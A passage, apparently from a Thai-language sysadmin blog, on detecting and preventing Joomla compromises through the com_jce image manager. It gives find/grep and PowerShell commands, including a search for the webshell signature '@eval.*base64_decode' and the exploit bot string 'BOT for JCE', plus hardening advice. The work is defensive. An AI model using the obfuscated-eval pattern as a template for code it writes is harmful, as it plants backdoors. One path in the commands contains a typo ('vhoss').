    ซึ่ง ทำให้การตรวจสอบเป็นไปได้ยากยิ่งขึ้น … แต่หากใส่ใจกันมากขึ้น ก็จะตรวจสอบความผิดปรกติได้

    5. วิธีตรวจสอบว่า บน Web Server ของเรา มีการใช้ com_jce และ Plugin ที่เสี่ยงต่อการโดน hack หรือไม่ ใช้คำสั่งต่อไปนี้

    find /home/ -name "imgmanager.php" -type f |xargs grep '$version ='

    ผลที่ได้

    Picture1

    แนวทางป้องกัน

    1. หากใช้ Joomla ต้อง Upgrade รุ่นให้ทันสมัยเสนอ และติดตามข่าวสาร และปรับปรุงรุ่นของ Component ต่างๆให้ทันสมัยด้วย

    2. Joomla บนระบบที่ใช้งานจริง (Production) ควรจะเป็น Read Only กล่าวคือ Owner ต้องไม่ใช่ Web User เช่น httpd, apache, www-data เป็นต้น ควรจะเป็นของผู้ใช้แต่ละคน เพราะ หากเกิดการโจมตี จะโดนเป็นรายๆไป ไม่กระทบกระเทือนกัน และระมัดระวัง ผู้ใช้บางคนเปลี่ยนสิทธิ์ Permission เองเป็น 777, 757 อะไรทำนองนั้น

    3. เปลี่ยนวิธี แนวการทำงานใหม่ ห้าม ผู้ใช้แก้ไข Production Site ทาง Web Browser โดยเฉพาะ การ Upload ภาพโดยตรงจาก Web Browser เพราะ ถ้าเปิดให้ Upload ภาพได้ แสดงว่า เปิดให้ Web User สามารถเขียนได้ โดย เปลี่ยนไปใช้วิธี Upload ภาพ ผ่านทาง FTP Client เช่น FileZilla แทน วิธีการนี้ ผู้ใช้ยังสามารถแก้ไข Article ได้ตามปรกติ แต่จะไม่สามารถ Upload ภาพได้โดยตรงเท่านั้น

    4. หากจำเป็นจริงๆ ที่จะต้องเปิดให้ ผู้ใช้ และบุคคลทั่วไป Upload ไฟล์ผ่านทาง Web Browser ได้จริงๆ ก็ต้องใช้ .htaccess เพื่อปิดไม่ให้ php, perl และภาษาอื่นๆ สามารถ Execute Script เหล่านั้น ที่อยู่ในไดเรคทอรี่นั้นๆเด็ดขาด

    5. เครื่อง Production ต้องไม่มี Compiler เพราะจากประสบการณ์ เคยเจอมาแล้ว ที่ Hacker ผ่านมาทางช่องโหว่นี้ แล้ว Upload ไฟล์ .c มาวาง ยังดีที่เครื่องนั้นๆ ไม่มี Compiler

    ขอให้โชคดีครับ

    NOTE FOR Windows Server

    > Find specific file type (*.php) in ‘images/stories’

    gci e:\inetpub\vhosts -rec -include “*stories*” | where {$_.psiscontainer} | gci -Filter “*.php”

    > Find Log files in ‘statistics’ folder with name “*.log” which has “BOT for JCE”

    gci e:\inetpub\vhosts -rec -include “statistics” | where {$_.psiscontainer} | gci -rec -filter “*.log” | get-content | select-string -pattern “BOT for JCE”

    > Find imgmanager.php and the version of file

    gci e:\inetpub\vhosts -rec -filter “imgmanager.php” | get-content | select-string -pattern “version = ”

    > Find some known backdoor

    gci e:\inetpub\vhoss -rec -filter “*.php” | get-content | select-string -pattern “@eval.*base64_decode”